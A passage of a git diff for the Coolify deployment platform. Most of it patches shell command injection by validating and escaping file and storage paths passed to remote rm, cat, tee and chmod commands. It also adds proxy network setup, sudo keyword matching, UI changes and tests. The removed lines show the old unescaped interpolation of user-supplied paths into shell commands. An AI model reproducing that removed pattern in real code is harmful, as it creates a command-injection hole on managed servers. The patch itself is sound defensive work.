environment variables + } + } + } + } catch (\Illuminate\Auth\Access\AuthorizationException $e) { + // User not authorized to view project variables + } + } + } + + return $result; + } + public function delete() { try { diff --git a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php index f377bbeb9..c67591cf5 100644 --- a/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php +++ b/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php @@ -25,13 +25,25 @@ public function delete(string $fileName) $this->authorize('update', $this->server); $proxy_path = $this->server->proxyPath(); $proxy_type = $this->server->proxyType(); + + // Decode filename: pipes are used to encode dots for Livewire property binding + // (e.g., 'my|service.yaml' -> 'my.service.yaml') + // This must happen BEFORE validation because validateShellSafePath() correctly + // rejects pipe characters as dangerous shell metacharacters $file = str_replace('|', '.', $fileName); + + // Validate filename to prevent command injection + validateShellSafePath($file, 'proxy configuration filename'); + if ($proxy_type === 'CADDY' && $file === 'Caddyfile') { $this->dispatch('error', 'Cannot delete Caddyfile.'); return; } - instant_remote_process(["rm -f {$proxy_path}/dynamic/{$file}"], $this->server); + + $fullPath = "{$proxy_path}/dynamic/{$file}"; + $escapedPath = escapeshellarg($fullPath); + instant_remote_process(["rm -f {$escapedPath}"], $this->server); if ($proxy_type === 'CADDY') { $this->server->reloadCaddy(); } diff --git a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php index eb2db1cbb..baf7b6b50 100644 --- a/app/Livewire/Server/Proxy/NewDynamicConfiguration.php +++ b/app/Livewire/Server/Proxy/NewDynamicConfiguration.php @@ -41,6 +41,10 @@ public function addDynamicConfiguration() 'fileName' => 'required', 'value' => 'required', ]); + + // Validate filename to prevent command injection + validateShellSafePath($this->fileName, 'proxy configuration filename'); + if (data_get($this->parameters, 'server_uuid')) { $this->server = Server::ownedByCurrentTeam()->whereUuid(data_get($this->parameters, 'server_uuid'))->first(); } @@ -65,8 +69,10 @@ public function addDynamicConfiguration() } $proxy_path = $this->server->proxyPath(); $file = "{$proxy_path}/dynamic/{$this->fileName}"; + $escapedFile = escapeshellarg($file); + if ($this->newFile) { - $exists = instant_remote_process(["test -f $file && echo 1 || echo 0"], $this->server); + $exists = instant_remote_process(["test -f {$escapedFile} && echo 1 || echo 0"], $this->server); if ($exists == 1) { $this->dispatch('error', 'File already exists'); @@ -80,7 +86,7 @@ public function addDynamicConfiguration() } $base64_value = base64_encode($this->value); instant_remote_process([ - "echo '{$base64_value}' | base64 -d | tee {$file} > /dev/null", + "echo '{$base64_value}' | base64 -d | tee {$escapedFile} > /dev/null", ], $this->server); if ($proxy_type === 'CADDY') { $this->server->reloadCaddy(); diff --git a/app/Livewire/Server/ValidateAndInstall.php b/app/Livewire/Server/ValidateAndInstall.php index c2dcd877b..1a5bd381b 100644 --- a/app/Livewire/Server/ValidateAndInstall.php +++ b/app/Livewire/Server/ValidateAndInstall.php @@ -206,6 +206,9 @@ public function validateDockerVersion() if (! $proxyShouldRun) { return; } + // Ensure networks exist BEFORE dispatching async proxy startup + // This prevents race condition where proxy tries to start before networks are created + instant_remote_process(ensureProxyNetworksExist($this->server)->toArray(), $this->server, false); StartProxy::dispatch($this->server); } else { $requiredDockerVersion = str(config('constants.docker.minimum_required_version'))->before('.'); diff --git a/app/Models/Application.php b/app/Models/Application.php index 821c69bca..6e920f8e6 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -1035,7 +1035,7 @@ public function isLogDrainEnabled() public function isConfigurationChanged(bool $save = false) { - $newConfigHash = base64_encode($this->fqdn.$this->git_repository.$this->git_branch.$this->git_commit_sha.$this->build_pack.$this->static_image.$this->install_command.$this->build_command.$this->start_command.$this->ports_exposes.$this->ports_mappings.$this->custom_network_aliases.$this->base_directory.$this->publish_directory.$this->dockerfile.$this->dockerfile_location.$this->custom_labels.$this->custom_docker_run_options.$this->dockerfile_target_build.$this->redirect.$this->custom_nginx_configuration.$this->settings->use_build_secrets); + $newConfigHash = base64_encode($this->fqdn.$this->git_repository.$this->git_branch.$this->git_commit_sha.$this->build_pack.$this->static_image.$this->install_command.$this->build_command.$this->start_command.$this->ports_exposes.$this->ports_mappings.$this->custom_network_aliases.$this->base_directory.$this->publish_directory.$this->dockerfile.$this->dockerfile_location.$this->custom_labels.$this->custom_docker_run_options.$this->dockerfile_target_build.$this->redirect.$this->custom_nginx_configuration.$this->settings->use_build_secrets.$this->settings->inject_build_args_to_dockerfile.$this->settings->include_source_commit_in_build); if ($this->pull_request_id === 0 || $this->pull_request_id === null) { $newConfigHash .= json_encode($this->environment_variables()->get(['value', 'is_multiline', 'is_literal', 'is_buildtime', 'is_runtime'])->sort()); } else { diff --git a/app/Models/EnvironmentVariable.php b/app/Models/EnvironmentVariable.php index 80399a16b..843f01e59 100644 --- a/app/Models/EnvironmentVariable.php +++ b/app/Models/EnvironmentVariable.php @@ -190,11 +190,11 @@ private function get_real_environment_variables(?string $environment_variable = return $environment_variable; } foreach ($sharedEnvsFound as $sharedEnv) { - $type = str($sharedEnv)->match('/(.*?)\./'); + $type = str($sharedEnv)->trim()->match('/(.*?)\./'); if (! collect(SHARED_VARIABLE_TYPES)->contains($type)) { continue; } - $variable = str($sharedEnv)->match('/\.(.*)/'); + $variable = str($sharedEnv)->trim()->match('/\.(.*)/'); if ($type->value() === 'environment') { $id = $resource->environment->id; } elseif ($type->value() === 'project') { @@ -231,7 +231,7 @@ private function set_environment_variables(?string $environment_variable = null) $environment_variable = trim($environment_variable); $type = str($environment_variable)->after('{{')->before('.')->value; if (str($environment_variable)->startsWith('{{'.$type) && str($environment_variable)->endsWith('}}')) { - return encrypt((string) str($environment_variable)->replace(' ', '')); + return encrypt($environment_variable); } return encrypt($environment_variable); diff --git a/app/Models/LocalFileVolume.php b/app/Models/LocalFileVolume.php index 376ea9c5e..96170dbd6 100644 --- a/app/Models/LocalFileVolume.php +++ b/app/Models/LocalFileVolume.php @@ -61,9 +61,14 @@ public function loadStorageOnServer() $path = $path->after('.'); $path = $workdir.$path; } - $isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server); + + // Validate and escape path to prevent command injection + validateShellSafePath($path, 'storage path'); + $escapedPath = escapeshellarg($path); + + $isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server); if ($isFile === 'OK') { - $content = instant_remote_process(["cat $path"], $server, false); + $content = instant_remote_process(["cat {$escapedPath}"], $server, false); // Check if content contains binary data by looking for null bytes or non-printable characters if (str_contains($content, "\0") || preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', $content)) { $content = '[binary file]'; @@ -91,14 +96,19 @@ public function deleteStorageOnServer() $path = $path->after('.'); $path = $workdir.$path; } - $isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server); - $isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server); + + // Validate and escape path to prevent command injection + validateShellSafePath($path, 'storage path'); + $escapedPath = escapeshellarg($path); + + $isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server); + $isDir = instant_remote_process(["test -d {$escapedPath} && echo OK || echo NOK"], $server); if ($path && $path != '/' && $path != '.' && $path != '..') { if ($isFile === 'OK') { - $commands->push("rm -rf $path > /dev/null 2>&1 || true"); + $commands->push("rm -rf {$escapedPath} > /dev/null 2>&1 || true"); } elseif ($isDir === 'OK') { - $commands->push("rm -rf $path > /dev/null 2>&1 || true"); - $commands->push("rmdir $path > /dev/null 2>&1 || true"); + $commands->push("rm -rf {$escapedPath} > /dev/null 2>&1 || true"); + $commands->push("rmdir {$escapedPath} > /dev/null 2>&1 || true"); } } if ($commands->count() > 0) { @@ -135,10 +145,15 @@ public function saveStorageOnServer() $path = $path->after('.'); $path = $workdir.$path; } - $isFile = instant_remote_process(["test -f $path && echo OK || echo NOK"], $server); - $isDir = instant_remote_process(["test -d $path && echo OK || echo NOK"], $server); + + // Validate and escape path to prevent command injection + validateShellSafePath($path, 'storage path'); + $escapedPath = escapeshellarg($path); + + $isFile = instant_remote_process(["test -f {$escapedPath} && echo OK || echo NOK"], $server); + $isDir = instant_remote_process(["test -d {$escapedPath} && echo OK || echo NOK"], $server); if ($isFile === 'OK' && $this->is_directory) { - $content = instant_remote_process(["cat $path"], $server, false); + $content = instant_remote_process(["cat {$escapedPath}"], $server, false); $this->is_directory = false; $this->content = $content; $this->save(); @@ -151,8 +166,8 @@ public function saveStorageOnServer() throw new \Exception('The following file is a directory on the server, but you are trying to mark it as a file.

Please delete the directory on the server or mark it as directory.'); } instant_remote_process([ - "rm -fr $path", - "touch $path", + "rm -fr {$escapedPath}", + "touch {$escapedPath}", ], $server, false); FileStorageChanged::dispatch(data_get($server, 'team_id')); } @@ -161,19 +176,19 @@ public function saveStorageOnServer() $chown = data_get($this, 'chown'); if ($content) { $content = base64_encode($content); - $commands->push("echo '$content' | base64 -d | tee $path > /dev/null"); + $commands->push("echo '$content' | base64 -d | tee {$escapedPath} > /dev/null"); } else { - $commands->push("touch $path"); + $commands->push("touch {$escapedPath}"); } - $commands->push("chmod +x $path"); + $commands->push("chmod +x {$escapedPath}"); if ($chown) { - $commands->push("chown $chown $path"); + $commands->push("chown $chown {$escapedPath}"); } if ($chmod) { - $commands->push("chmod $chmod $path"); + $commands->push("chmod $chmod {$escapedPath}"); } } elseif ($isDir === 'NOK' && $this->is_directory) { - $commands->push("mkdir -p $path > /dev/null 2>&1 || true"); + $commands->push("mkdir -p {$escapedPath} > /dev/null 2>&1 || true"); } return instant_remote_process($commands, $server); diff --git a/app/View/Components/Forms/EnvVarInput.php b/app/View/Components/Forms/EnvVarInput.php index 7cf8ee8fa..4a98e4a51 100644 --- a/app/View/Components/Forms/EnvVarInput.php +++ b/app/View/Components/Forms/EnvVarInput.php @@ -26,6 +26,7 @@ public function __construct( public bool $disabled = false, public bool $readonly = false, public ?string $helper = null, + public bool $allowToPeak = true, public string $defaultClass = 'input', public string $autocomplete = 'off', public ?int $minlength = null, @@ -72,6 +73,10 @@ public function render(): View|Closure|string $this->name = $this->modelBinding !== 'null' ? $this->modelBinding : (string) $this->id; } + if ($this->type === 'password') { + $this->defaultClass = $this->defaultClass.' pr-[2.8rem]'; + } + $this->scopeUrls = [ 'team' => route('shared-variables.team.index'), 'project' => route('shared-variables.project.index'), diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index dfcc3e190..e7d875777 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -1644,9 +1644,16 @@ function serviceParser(Service $resource): Collection if ($value && get_class($value) === \Illuminate\Support\Stringable::class && $value->startsWith('/')) { $path = $value->value(); if ($path !== '/') { - $fqdn = "$fqdn$path"; - $url = "$url$path"; - $fqdnValueForEnv = "$fqdnValueForEnv$path"; + // Only add path if it's not already present (prevents duplication on subsequent parse() calls) + if (! str($fqdn)->endsWith($path)) { + $fqdn = "$fqdn$path"; + } + if (! str($url)->endsWith($path)) { + $url = "$url$path"; + } + if (! str($fqdnValueForEnv)->endsWith($path)) { + $fqdnValueForEnv = "$fqdnValueForEnv$path"; + } } } diff --git a/bootstrap/helpers/proxy.php b/bootstrap/helpers/proxy.php index 08fad4958..6672f8b6f 100644 --- a/bootstrap/helpers/proxy.php +++ b/bootstrap/helpers/proxy.php @@ -108,6 +108,37 @@ function connectProxyToNetworks(Server $server) return $commands->flatten(); } + +/** + * Ensures all required networks exist before docker compose up. + * This must be called BEFORE docker compose up since the compose file declares networks as external. + * + * @param Server $server The server to ensure networks on + * @return \Illuminate\Support\Collection Commands to create networks if they don't exist + */ +function ensureProxyNetworksExist(Server $server) +{ + ['allNetworks' => $networks] = collectDockerNetworksByServer($server); + + if ($server->isSwarm()) { + $commands = $networks->map(function ($network) { + return [ + "echo 'Ensuring network $network exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --driver overlay --attachable $network", + ]; + }); + } else { + $commands = $networks->map(function ($network) { + return [ + "echo 'Ensuring network $network exists...'", + "docker network ls --format '{{.Name}}' | grep -q '^{$network}$' || docker network create --attachable $network", + ]; + }); + } + + return $commands->flatten(); +} + function extractCustomProxyCommands(Server $server, string $existing_config): array { $custom_commands = []; diff --git a/bootstrap/helpers/sudo.php b/bootstrap/helpers/sudo.php index 7a7fc3680..b8ef84687 100644 --- a/bootstrap/helpers/sudo.php +++ b/bootstrap/helpers/sudo.php @@ -23,38 +23,56 @@ function shouldChangeOwnership(string $path): bool function parseCommandsByLineForSudo(Collection $commands, Server $server): array { $commands = $commands->map(function ($line) { - if ( - ! str(trim($line))->startsWith([ - 'cd', - 'command', - 'echo', - 'true', - 'if', - 'fi', - 'for', - 'do', - 'done', - 'while', - 'until', - 'case', - 'esac', - 'select', - 'then', - 'else', - 'elif', - 'break', - 'continue', - '#', - ]) - ) { - return "sudo $line"; + $trimmedLine = trim($line); + + // All bash keywords that should not receive sudo prefix + // Using word boundary matching to avoid prefix collisions (e.g., 'do' vs 'docker', 'if' vs 'ifconfig', 'fi' vs 'find') + $bashKeywords = [ + 'cd', + 'command', + 'declare', + 'echo', + 'export', + 'local', + 'readonly', + 'return', + 'true', + 'if', + 'fi', + 'for', + 'done', + 'while', + 'until', + 'case', + 'esac', + 'select', + 'then', + 'else', + 'elif', + 'break', + 'continue', + 'do', + ]; + + // Special case: comments (no collision risk with '#') + if (str_starts_with($trimmedLine, '#')) { + return $line; } - if (str(trim($line))->startsWith('if')) { - return str_replace('if', 'if sudo', $line); + // Check all keywords with word boundary matching + // Match keyword followed by space, semicolon, or end of line + foreach ($bashKeywords as $keyword) { + if (preg_match('/^'.preg_quote($keyword, '/').'(\s|;|$)/', $trimmedLine)) { + // Special handling for 'if' - insert sudo after 'if ' + if ($keyword === 'if') { + return preg_replace('/^(\s*)if\s+/', '$1if sudo ', $line); + } + + return $line; + } } - return $line; + return "sudo $line"; }); $commands = $commands->map(function ($line) use ($server) { diff --git a/config/constants.php b/config/constants.php index a59345708..b2c43f2b9 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0-beta.450', + 'version' => '4.0.0-beta.451', 'helper_version' => '1.0.12', 'realtime_version' => '1.0.10', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 562febf01..fadd5580d 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.450" + "version": "4.0.0-beta.451" }, "nightly": { - "version": "4.0.0-beta.451" + "version": "4.0.0-beta.452" }, "helper": { "version": "1.0.12" diff --git a/resources/views/components/forms/env-var-input.blade.php b/resources/views/components/forms/env-var-input.blade.php index 53a6b21ec..2466a57f9 100644 --- a/resources/views/components/forms/env-var-input.blade.php +++ b/resources/views/components/forms/env-var-input.blade.php @@ -10,7 +10,8 @@ @endif -
+ @click.outside="showDropdown = false"> + + @if ($type === 'password' && $allowToPeak) +
+ + + + + +
+ @endif wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif wire:loading.attr="disabled" - type="{{ $type }}" + @if ($type === 'password') + :type="type" + @else + type="{{ $type }}" + @endif @disabled($disabled) @if ($htmlId !== 'null') id="{{ $htmlId }}" @endif name="{{ $name }}" diff --git a/resources/views/livewire/project/shared/environment-variable/show.blade.php b/resources/views/livewire/project/shared/environment-variable/show.blade.php index 1995bda9c..68e1d7e7d 100644 --- a/resources/views/livewire/project/shared/environment-variable/show.blade.php +++ b/resources/views/livewire/project/shared/environment-variable/show.blade.php @@ -37,29 +37,23 @@ helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.

Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true." label="Is Literal?" /> @else - @if ($is_shared) - + @if ($isSharedVariable) + @else - @if ($isSharedVariable) + @if (!$env->is_nixpacks) + + @endif + + @if (!$env->is_nixpacks) - @else - @if (!$env->is_nixpacks) - - @endif - - @if (!$env->is_nixpacks) - - @if ($is_multiline === false) - - @endif + @if ($is_multiline === false) + @endif @endif @endif @@ -83,26 +77,22 @@ helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.

Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true." label="Is Literal?" /> @else - @if ($is_shared) - + @if ($isSharedVariable) + @else - @if ($isSharedVariable) - - @else + @if (!$env->is_nixpacks) - - - @if ($is_multiline === false) - - @endif + @endif + + + @if ($is_multiline === false) + @endif @endif @endif @@ -115,7 +105,13 @@ @if ($isDisabled)
- + @if ($is_shared) @endif @@ -127,7 +123,13 @@ @else - + @endif @if ($is_shared) @@ -137,7 +139,13 @@ @else
- + @if ($is_shared) @endif @@ -159,29 +167,23 @@ helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.

Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true." label="Is Literal?" /> @else - @if ($is_shared) - + @if ($isSharedVariable) + @else - @if ($isSharedVariable) + @if (!$env->is_nixpacks) + + @endif + + @if (!$env->is_nixpacks) - @else - @if (!$env->is_nixpacks) - - @endif - - @if (!$env->is_nixpacks) - - @if ($is_multiline === false) - - @endif + @if ($is_multiline === false) + @endif @endif @endif @@ -227,26 +229,22 @@ helper="This means that when you use $VARIABLES in a value, it should be interpreted as the actual characters '$VARIABLES' and not as the value of a variable named VARIABLE.

Useful if you have $ sign in your value and there are some characters after it, but you would not like to interpolate it from another value. In this case, you should set this to true." label="Is Literal?" /> @else - @if ($is_shared) - + @if ($isSharedVariable) + @else - @if ($isSharedVariable) - - @else + @if (!$env->is_nixpacks) - - - @if ($is_multiline === false) - - @endif + @endif + + + @if ($is_multiline === false) + @endif @endif @endif diff --git a/tests/Feature/EnvironmentVariableSharedSpacingTest.php b/tests/Feature/EnvironmentVariableSharedSpacingTest.php new file mode 100644 index 000000000..2514ae94a --- /dev/null +++ b/tests/Feature/EnvironmentVariableSharedSpacingTest.php @@ -0,0 +1,194 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team); + + // Create project and environment + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create([ + 'project_id' => $this->project->id, + ]); + + // Create application for testing + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + ]); +}); + +test('shared variable preserves spacing in reference', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => '{{ project.aaa }}', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $env->refresh(); + expect($env->value)->toBe('{{ project.aaa }}'); +}); + +test('shared variable preserves no-space format', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST_VAR', + 'value' => '{{project.aaa}}', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $env->refresh(); + expect($env->value)->toBe('{{project.aaa}}'); +}); + +test('shared variable with spaces resolves correctly', function () { + // Create shared variable + $shared = SharedEnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'test-value-123', + 'type' => 'project', + 'project_id' => $this->project->id, + 'team_id' => $this->team->id, + ]); + + // Create env var with spaces + $env = EnvironmentVariable::create([ + 'key' => 'MY_VAR', + 'value' => '{{ project.TEST_KEY }}', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + // Verify it resolves correctly + $realValue = $env->real_value; + expect($realValue)->toBe('test-value-123'); +}); + +test('shared variable without spaces resolves correctly', function () { + // Create shared variable + $shared = SharedEnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'test-value-456', + 'type' => 'project', + 'project_id' => $this->project->id, + 'team_id' => $this->team->id, + ]); + + // Create env var without spaces + $env = EnvironmentVariable::create([ + 'key' => 'MY_VAR', + 'value' => '{{project.TEST_KEY}}', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + // Verify it resolves correctly + $realValue = $env->real_value; + expect($realValue)->toBe('test-value-456'); +}); + +test('shared variable with extra internal spaces resolves correctly', function () { + // Create shared variable + $shared = SharedEnvironmentVariable::create([ + 'key' => 'TEST_KEY', + 'value' => 'test-value-789', + 'type' => 'project', + 'project_id' => $this->project->id, + 'team_id' => $this->team->id, + ]); + + // Create env var with multiple spaces + $env = EnvironmentVariable::create([ + 'key' => 'MY_VAR', + 'value' => '{{ project.TEST_KEY }}', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + // Verify it resolves correctly (parser trims when extracting) + $realValue = $env->real_value; + expect($realValue)->toBe('test-value-789'); +}); + +test('is_shared attribute detects variable with spaces', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST', + 'value' => '{{ project.aaa }}', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + expect($env->is_shared)->toBeTrue(); +}); + +test('is_shared attribute detects variable without spaces', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TEST', + 'value' => '{{project.aaa}}', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + expect($env->is_shared)->toBeTrue(); +}); + +test('non-shared variable preserves spaces', function () { + $env = EnvironmentVariable::create([ + 'key' => 'REGULAR', + 'value' => 'regular value with spaces', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $env->refresh(); + expect($env->value)->toBe('regular value with spaces'); +}); + +test('mixed content with shared variable preserves all spacing', function () { + $env = EnvironmentVariable::create([ + 'key' => 'MIXED', + 'value' => 'prefix {{ project.aaa }} suffix', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $env->refresh(); + expect($env->value)->toBe('prefix {{ project.aaa }} suffix'); +}); + +test('multiple shared variables preserve individual spacing', function () { + $env = EnvironmentVariable::create([ + 'key' => 'MULTI', + 'value' => '{{ project.a }} and {{team.b}}', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $env->refresh(); + expect($env->value)->toBe('{{ project.a }} and {{team.b}}'); +}); + +test('leading and trailing spaces are trimmed', function () { + $env = EnvironmentVariable::create([ + 'key' => 'TRIMMED', + 'value' => ' {{ project.aaa }} ', + 'resource_id' => $this->application->id, + 'resource_type' => $this->application->getMorphClass(), + ]); + + $env->refresh(); + // External spaces trimmed, internal preserved + expect($env->value)->toBe('{{ project.aaa }}'); +}); diff --git a/tests/Feature/ServiceFqdnUpdatePathTest.php b/tests/Feature/ServiceFqdnUpdatePathTest.php new file mode 100644 index 000000000..4c0c4238f --- /dev/null +++ b/tests/Feature/ServiceFqdnUpdatePathTest.php @@ -0,0 +1,220 @@ +create([ + 'name' => 'test-server', + 'ip' => '127.0.0.1', + ]); + + // Load Appwrite template + $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml')); + + // Create Appwrite service + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'name' => 'appwrite-test', + 'docker_compose_raw' => $appwriteTemplate, + ]); + + // Create the appwrite-realtime service application + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'appwrite-realtime', + 'fqdn' => 'https://test.abc/v1/realtime', + ]); + + // Parse the service (simulates initial setup) + $service->parse(); + + // Get environment variable + $urlVar = $service->environment_variables() + ->where('key', 'SERVICE_URL_APPWRITE') + ->first(); + + // Initial setup should have path once + expect($urlVar)->not->toBeNull() + ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime') + ->and($urlVar->value)->toContain('/v1/realtime'); + + // Simulate user updating FQDN + $serviceApp->fqdn = 'https://newdomain.com/v1/realtime'; + $serviceApp->save(); + + // Call parse again (this is where the bug occurred) + $service->parse(); + + // Check that path is not duplicated + $urlVar = $service->environment_variables() + ->where('key', 'SERVICE_URL_APPWRITE') + ->first(); + + expect($urlVar)->not->toBeNull() + ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime') + ->and($urlVar->value)->toContain('/v1/realtime'); +})->skip('Requires database and Appwrite template - run in Docker'); + +test('Appwrite console service does not duplicate /console path', function () { + $server = Server::factory()->create(); + $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml')); + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'docker_compose_raw' => $appwriteTemplate, + ]); + + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'appwrite-console', + 'fqdn' => 'https://test.abc/console', + ]); + + // Parse service + $service->parse(); + + // Update FQDN + $serviceApp->fqdn = 'https://newdomain.com/console'; + $serviceApp->save(); + + // Parse again + $service->parse(); + + // Verify no duplication + $urlVar = $service->environment_variables() + ->where('key', 'SERVICE_URL_APPWRITE') + ->first(); + + expect($urlVar)->not->toBeNull() + ->and($urlVar->value)->not->toContain('/console/console') + ->and($urlVar->value)->toContain('/console'); +})->skip('Requires database and Appwrite template - run in Docker'); + +test('MindsDB service does not duplicate /api path', function () { + $server = Server::factory()->create(); + $mindsdbTemplate = file_get_contents(base_path('templates/compose/mindsdb.yaml')); + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'docker_compose_raw' => $mindsdbTemplate, + ]); + + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'mindsdb', + 'fqdn' => 'https://test.abc/api', + ]); + + // Parse service + $service->parse(); + + // Update FQDN multiple times + $serviceApp->fqdn = 'https://domain1.com/api'; + $serviceApp->save(); + $service->parse(); + + $serviceApp->fqdn = 'https://domain2.com/api'; + $serviceApp->save(); + $service->parse(); + + // Verify no duplication after multiple updates + $urlVar = $service->environment_variables() + ->where('key', 'SERVICE_URL_API') + ->orWhere('key', 'LIKE', 'SERVICE_URL_%') + ->first(); + + expect($urlVar)->not->toBeNull() + ->and($urlVar->value)->not->toContain('/api/api'); +})->skip('Requires database and MindsDB template - run in Docker'); + +test('service without path declaration is not affected', function () { + $server = Server::factory()->create(); + + // Create a simple service without path in template + $simpleTemplate = <<<'YAML' +services: + redis: + image: redis:7 + environment: + - SERVICE_FQDN_REDIS +YAML; + + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'docker_compose_raw' => $simpleTemplate, + ]); + + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'redis', + 'fqdn' => 'https://redis.test.abc', + ]); + + // Parse service + $service->parse(); + + $fqdnBefore = $service->environment_variables() + ->where('key', 'SERVICE_FQDN_REDIS') + ->first()?->value; + + // Update FQDN + $serviceApp->fqdn = 'https://redis.newdomain.com'; + $serviceApp->save(); + + // Parse again + $service->parse(); + + $fqdnAfter = $service->environment_variables() + ->where('key', 'SERVICE_FQDN_REDIS') + ->first()?->value; + + // Should work normally without issues + expect($fqdnAfter)->toBe('redis.newdomain.com') + ->and($fqdnAfter)->not->toContain('//'); +})->skip('Requires database - run in Docker'); + +test('multiple FQDN updates never cause path duplication', function () { + $server = Server::factory()->create(); + $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml')); + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'docker_compose_raw' => $appwriteTemplate, + ]); + + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'appwrite-realtime', + 'fqdn' => 'https://test.abc/v1/realtime', + ]); + + // Update FQDN 10 times and parse each time + for ($i = 1; $i <= 10; $i++) { + $serviceApp->fqdn = "https://domain{$i}.com/v1/realtime"; + $serviceApp->save(); + $service->parse(); + + // Check path is never duplicated + $urlVar = $service->environment_variables() + ->where('key', 'SERVICE_URL_APPWRITE') + ->first(); + + expect($urlVar)->not->toBeNull() + ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime') + ->and($urlVar->value)->toContain('/v1/realtime'); + } +})->skip('Requires database and Appwrite template - run in Docker'); diff --git a/tests/Unit/ApplicationConfigurationChangeTest.php b/tests/Unit/ApplicationConfigurationChangeTest.php index 618f3d033..8ad88280b 100644 --- a/tests/Unit/ApplicationConfigurationChangeTest.php +++ b/tests/Unit/ApplicationConfigurationChangeTest.php @@ -15,3 +15,35 @@ ->and($hash1)->not->toBe($hash3) ->and($hash2)->not->toBe($hash3); }); + +/** + * Unit test to verify that inject_build_args_to_dockerfile is included in configuration change detection. + * Tests the behavior of the isConfigurationChanged method by verifying that different + * inject_build_args_to_dockerfile values produce different configuration hashes. + */ +it('different inject_build_args_to_dockerfile values produce different hashes', function () { + // Test that the hash calculation includes inject_build_args_to_dockerfile by computing hashes with different values + // true becomes '1', false becomes '', so they produce different hashes + $hash1 = md5(base64_encode('test'.true)); // 'test1' + $hash2 = md5(base64_encode('test'.false)); // 'test' + $hash3 = md5(base64_encode('test')); // 'test' + + expect($hash1)->not->toBe($hash2) + ->and($hash2)->toBe($hash3); // false and empty string produce the same result +}); + +/** + * Unit test to verify that include_source_commit_in_build is included in configuration change detection. + * Tests the behavior of the isConfigurationChanged method by verifying that different + * include_source_commit_in_build values produce different configuration hashes. + */ +it('different include_source_commit_in_build values produce different hashes', function () { + // Test that the hash calculation includes include_source_commit_in_build by computing hashes with different values + // true becomes '1', false becomes '', so they produce different hashes + $hash1 = md5(base64_encode('test'.true)); // 'test1' + $hash2 = md5(base64_encode('test'.false)); // 'test' + $hash3 = md5(base64_encode('test')); // 'test' + + expect($hash1)->not->toBe($hash2) + ->and($hash2)->toBe($hash3); // false and empty string produce the same result +}); diff --git a/tests/Unit/DatabaseBackupSecurityTest.php 